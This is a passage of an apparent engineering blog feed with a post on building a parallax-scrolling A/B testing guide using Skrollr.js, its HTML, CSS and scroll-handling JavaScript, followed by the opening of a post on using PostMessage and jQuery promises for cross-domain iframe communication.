href=&quot;https://visualwebsiteoptimizer.com/what-is-ab-testing/&quot;&gt;animated guide to A/B testing&lt;/a&gt; which made it to the top of &lt;a href=&quot;https://news.ycombinator.com/item?id=5993914&quot;&gt;HN homepage&lt;/a&gt; (Yay!). &lt;/p&gt; &lt;div style=&quot;text-align:center; margin:5px&quot;&gt; &lt;img src=&quot;https://phaven-prod.s3.amazonaws.com/files/image_part/asset/956765/Xq0eqxVYXbzyZmOwI4nN5LDsLAw/medium_what.jpg&quot;&gt; &lt;/div&gt; &lt;p&gt;In this post, I&apos;ll go through the process of how I created the page using HTML5 and JS. Let&apos;s get started! &lt;/p&gt; &lt;h2 id=&quot;setting-up-things&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#setting-up-things&quot; aria-label=&quot;setting up things permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Setting up things&lt;/h2&gt; &lt;p&gt;I searched about some existing parallax scrolling JS scripts and came across &lt;a href=&quot;https://github.com/Prinzhorn/skrollr&quot;&gt;Skrollr.js&lt;/a&gt; which made my work a piece of cake! If you are going to create your own parallax scrolling page, then I would recommend you to use this library. Apart from that, I also used &lt;a href=&quot;https://github.com/yckart/jquery.scrollto.js&quot;&gt;scrollTo.js&lt;/a&gt; and &lt;a href=&quot;https://github.com/brandonaaron/jquery-mousewheel&quot;&gt;mousewheel.js&lt;/a&gt; for scroll handling.&lt;/p&gt; &lt;p&gt;Also, I wanted to make the images used in that page look sharp on retina screens so I used a little LESS mixin from &lt;a href=&quot;http://retinajs.com/&quot;&gt;RetinaJS&lt;/a&gt; to make sure that retina screens show the images @2x.&lt;/p&gt; &lt;h2 id=&quot;getting-started&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#getting-started&quot; aria-label=&quot;getting started permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Getting started&lt;/h2&gt; &lt;p&gt;After looking at some examples of Skrollr, I was ready to start building up the page. The best thing about Skrollr is that it automatically set things up for you and also handles the parallax scrolling on mobile devices. &lt;/p&gt; &lt;p&gt;Now, I saved two versions (1x and 2x, for retina) of all the images and searched for a good &lt;em&gt;comic&lt;/em&gt; font. Each slide on that page is a mixture of some text and image elements. I gave each slide an &lt;code class=&quot;language-text&quot;&gt;absolute&lt;/code&gt; positioning and &lt;code class=&quot;language-text&quot;&gt;100%&lt;/code&gt; width and height. Also, each element in the slides are &lt;code class=&quot;language-text&quot;&gt;fixed&lt;/code&gt; positioned are made to appear and disappear using the &lt;code class=&quot;language-text&quot;&gt;opacity&lt;/code&gt; property. Here&apos;s the code for the first slide:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt; &lt;span class=&quot;token comment&quot;&gt;&amp;lt;!-- Slide 1 --&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;div&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;slide&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;slide1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;div&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;bob&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;data-0&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;left:&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;0%;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;opacity:&lt;/span&gt;0;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;data-1000&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;left:&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;50%;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;opacity:&lt;/span&gt;1;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;data-3600&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;left:&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;50%;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;opacity:&lt;/span&gt;1;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;data-4800&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;left:&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;50%;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;opacity:&lt;/span&gt;0;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;div&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;div&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;text&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;data-1200&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;opacity:0;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;bottom:&lt;/span&gt;0%;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;margin-bottom:&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;data-2400&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;opacity:1;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;bottom:&lt;/span&gt;50%;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;margin-bottom:&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;-46px&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;data-3600&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;opacity:1;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;bottom:&lt;/span&gt;50%;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;margin-bottom:&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;-46px;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;right:&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;50%&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;data-4800&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;opacity:&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;0;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;bottom:&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;50%;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;margin-bottom:&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;-48px;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;&lt;span class=&quot;token namespace&quot;&gt;right:&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;0%&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; Meet &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;strong&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;Bob&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;strong&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;div&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;div&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;The only thing that Skrollr needs is the &lt;code class=&quot;language-text&quot;&gt;data-px&lt;/code&gt; attribute with some CSS properties passed in that attribute. Here, Bob will be at 0% left having 0 opacity at the start. Now if the user scrolls to 1000px, s/he would see Bob&apos;s image appearing from left to the center with increasing opacity. Thats how it works, you just need to time your animations in terms of pixels and Skrollr will handle it for you. Here, both &lt;code class=&quot;language-text&quot;&gt;bob&lt;/code&gt; and &lt;code class=&quot;language-text&quot;&gt;text&lt;/code&gt; are fixed positioned. To make things responsive, I first positioned everything to center using this:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt; &lt;span class=&quot;token selector&quot;&gt;.element&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 100px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 100px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;left&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 50%&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;top&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 50%&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;margin-left&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; -50px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token property&quot;&gt;margin-top&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; -50px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;After this, I altered the margins to position it perfectly so that on any resolution it will start from the center. I did the same thing for all the elements in each slide. Most of the elements are animated using CSS3 transforms while others are just faded in and out using &lt;code class=&quot;language-text&quot;&gt;opacity&lt;/code&gt; property. &lt;/p&gt; &lt;h2 id=&quot;scroll-handling&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#scroll-handling&quot; aria-label=&quot;scroll handling permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Scroll handling&lt;/h2&gt; &lt;p&gt;All this completed 80% of the page. Now, the only thing left was the scroll handling. I had to make sure that on each scroll, a slide should finish the animation properly and should not be left in between. To do this, I created checkpoints of the scroll position where each slide starts/ends. Now on each scroll, I incremented/decremented a counter based on the scroll direction. Based on that counter&apos;s current value the page is scrolled to the position from the checkpoints array and any other scroll event is ignored in that duration. Here&apos;s the code for this:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; checkpoints &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3600&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;6000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;11200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14800&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;17200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;var&lt;/span&gt; timer &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1000&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1500&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1500&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1500&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;scrollDown&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; checkpoints&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;length &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; percentage &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;html&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; body&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;scrollTo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; checkpoints&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; animation&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; easing&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; linear&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; duration&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; timer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;scrollUp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; $htmlAndBody&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;scrollTo&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; checkpoints&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; animation&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; easing&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; linear&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; duration&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; timer&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;I also added keyboard navigation, and put some arrows on the page for easier navigation. Also, after getting reviews from some non-technical people, I added the auto-play option so that all the lazy people would still be able to watch the whole presentation without moving a finger :P&lt;/p&gt; &lt;p&gt;This almost completed the whole page. Last additions were creating a preloader for the page which loaded the images of first 5 slides with a progress bar and then rest of the images are loaded in the background. If you want, you can take a look at the &lt;a href=&quot;http://visualwebsiteoptimizer.com/what-is-ab-testing/js/preloader.js&quot;&gt;preloader.js&lt;/a&gt; to see how I did the preloading. Another thing was the share buttons and showing the count which was retrieved using PHP. &lt;/p&gt; &lt;p&gt;I hope this covered everything but if you get stuck anywhere, then feel free to add your comments! :)&lt;/p&gt;</content:encoded><author>Kushagra Agarwal</author></item><item><title><![CDATA[jQuery Promises: The answer to PostMessage's asynchrony]]></title><description><![CDATA[Visual Website Optimizer's editor component loads a website for editing using a proxy tunnel. It put a big restriction on what kind of…]]></description><link>https://engineering.wingify.com//posts/jquery-promises-with-postmessage/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/jquery-promises-with-postmessage/</guid><pubDate>Mon, 17 Jun 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;http://visualwebsiteoptimizer.com/&quot;&gt;Visual Website Optimizer&lt;/a&gt;&apos;s editor component loads a website for editing using a proxy tunnel. It put a big restriction on what kind of websites could be loaded in it. Websites behind a firewall, the ones on a local network, or behind HTTP authentication could not be loaded using the tunnel. Other than those, even if the website did load in the editor, chances were that it could break on the frontend due to issues with JavaScript or AJAX communication.&lt;/p&gt; &lt;p&gt;You&apos;d ask: why is there a proxy in the first place? Because, if a page contains an iframe on another domain, it cannot access its properties or functions. It is a security feature that browser vendors offer users to protect their privacy.&lt;/p&gt; &lt;h2 id=&quot;the-problem&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#the-problem&quot; aria-label=&quot;the problem permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;The Problem&lt;/h2&gt; &lt;p&gt;So, our task at the frontend recently was to eliminate this troublesome middleman and find a solution for cross-domain iframe communication. We knew what the answer was: the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/window.postMessage&quot;&gt;PostMessage API&lt;/a&gt;. Provided a customer had VWO tracking code integrated on their website, we could load the iframe directly without a proxy and communicate with it using this API. The bigger question, however, was how to do it. The Editor had a lot of parent-child communication going under the hood for every task the user performed. When attempting to use PostMessage for this communication, we were faced with a couple of issues:
&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Our legacy code had direct communication between the parent frame and the child frame at all places, i.e. the objects and functions in the child were accessed synchronously. PostMessage API, on the other hand, is completely asynchronous, and implementing such an API on the existing codebase would almost mean rethinking the entire logic and program flow all over again. We could foresee this asynchronous transition become a cause of a lot of race conditions within the Editor.&lt;/li&gt; &lt;li&gt;Often, after sending a message to the other frame, we wanted to hear back a reply, for which we needed a decent two-way communication. A kind that would keep track of the sender and the receiver and could be identified across iframes using a unique identifier (to tie up the requests and responses).&lt;/li&gt; &lt;li&gt;Since PostMessage uses string messages for communication (or &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/Guide/DOM/The_structured_clone_algorithm&quot;&gt;structurally cloneable&lt;/a&gt; objects in the recent browsers), it put a big limit on what kind of data we could send during this communication. Directly accessing DOM nodes and sending around certain cyclic objects was no longer possible.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;For instance, when you select an element in the child frame, it creates a new &lt;code class=&quot;language-text&quot;&gt;VWO.Element&lt;/code&gt; instance in the parent frame and asks it to open a context menu. The code looked something like this:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt; &lt;span class=&quot;token function&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;elementSelectorPath&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span 